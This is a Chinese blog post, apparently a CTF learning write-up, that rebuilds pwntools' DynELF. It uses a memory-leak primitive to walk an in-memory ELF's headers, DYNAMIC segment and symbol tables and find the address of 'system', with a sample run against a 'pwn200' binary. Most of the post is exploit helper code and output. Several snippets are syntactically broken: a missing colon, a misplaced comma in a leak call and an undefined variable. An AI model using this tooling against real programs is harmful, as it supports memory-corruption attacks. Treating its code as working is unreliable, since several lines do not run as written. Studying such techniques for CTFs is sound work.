0x00:
一直很好奇DynELF是怎么去info leak的,在阅读完了老外的一篇文章后,自己也仿照这写了一个,顺便复习了下elf文件结构相关的知识。
0x01: Get elf base addr
前提:假设现在已经有一个任意地址读的漏洞,可以写出一个leak函数供后面代码使用。
首先,我们需要从一个地址开始,先解析到elf base addr
。
1 2 3 4 5 6 7 8 9 10
| def get_elf_base(entry): entry = u64(entry) libc_base = entry & 0xfffffffffffff000 while True: tmp = leak(libc_base,0x8) if tmp[0:4] == '\x7fELF' break libc_base -= 0x1000 print '[+]Libc base : 0x%x' % (libc_base) return libc_base
|
之后是找到程序头。
1 2 3 4 5 6
| def findPhdr(addr): if bits == 32: e_phoff = u32(leak(addr+0x1c,0x4).ljust(4,'\0')) else: e_phoff = u64(leak(addr+0x20,0x8).ljust(8,'\0')) return e_phoff + addr
|
0x03: DYNAMIC Section
有了之前的程序头,就可以根据elf文件结构,去找到DYNAMIC section
了
1 2 3 4 5 6 7
| def findDynamic(Phaddr,elf_base): i = -56 p_type = 0 while p_type != 2: i += 56 p_type = u32(leak,(Phaddr+i,0x4)) return u64(leak(Phaddr+i+16,0x8)) + elf_base
|
0x04: DT_SYMTAB and DT_STRTAB
根据上一步找到的DYNAMIC section
,可以确定DT_STRTAB
和 DT_SYMTAB
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def findDynTable(DynamicAddr): tmp_dyn = DynamicAddr dt_sym_addr = 0 dt_str_addr = 0 while True: garbage = u64(leak(tmp_dyn,0x8)) if garbage == 0x5: dt_str_addr = u64(leak(tmp_dyn+0x8,0x8)) elif garbage == 0x6: dt_sym_addr = u64(leak(tmp_dyn+0x8,0x8)) if dt_sym_addr and dt_str_addr: break tmp_dyn += 0x10 return (dt_sym_addr,dt_str_addr)
|
0x05: find symbol you want
最后一步,查找目标函数。
1 2 3 4 5 6 7 8 9 10
| def findSymbol(strtab,symtab,symbol,elf_base): tmp_sym = symtab while True: garbage = u32(leak(tmp_sym,0x4)) name = leak(strtab+garbage,len(symbol)) if name == symbol: break tmp_sym += 0x18 symbol_addr = u64(leak(tmp_sym+0x8,0x8)) + elf_base return symbol_addr
|
0x06: Test
最后看一下效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # muhe @ ubuntu in ~/Desktop/leak_study [20:58:04] $ python leak.py [+] Starting local process './pwn200': Done [+]Libc base : 0x7f95453ef000 [+]Libc Program header addr : 0x7f95453ef040 [+]Dynamic addr : 0x7f95457b1ba0 [+]DT_SYMTAB_Addr 0x7f95453f2d80 [+]DT_STRTAB_Addr 0x7f95453ffff8 [+]System addr : 0x7f9545434390 [*] Switching to interactive mode Welcome to RCTF AAAAAAAAAAAAAAAAAAAAAAAA\x9@$
[*] Got EOF while reading in interactive
|
0x07:
完整代码丢到了自己的pwnlog去了。
说句题外话-。- 在看这篇Finding-Functions的时候,问了作者几个问题,作者都很快回复而且还给了不少其他的建议-。- 人真的很nice。
0x08: Reference
Finding-Functions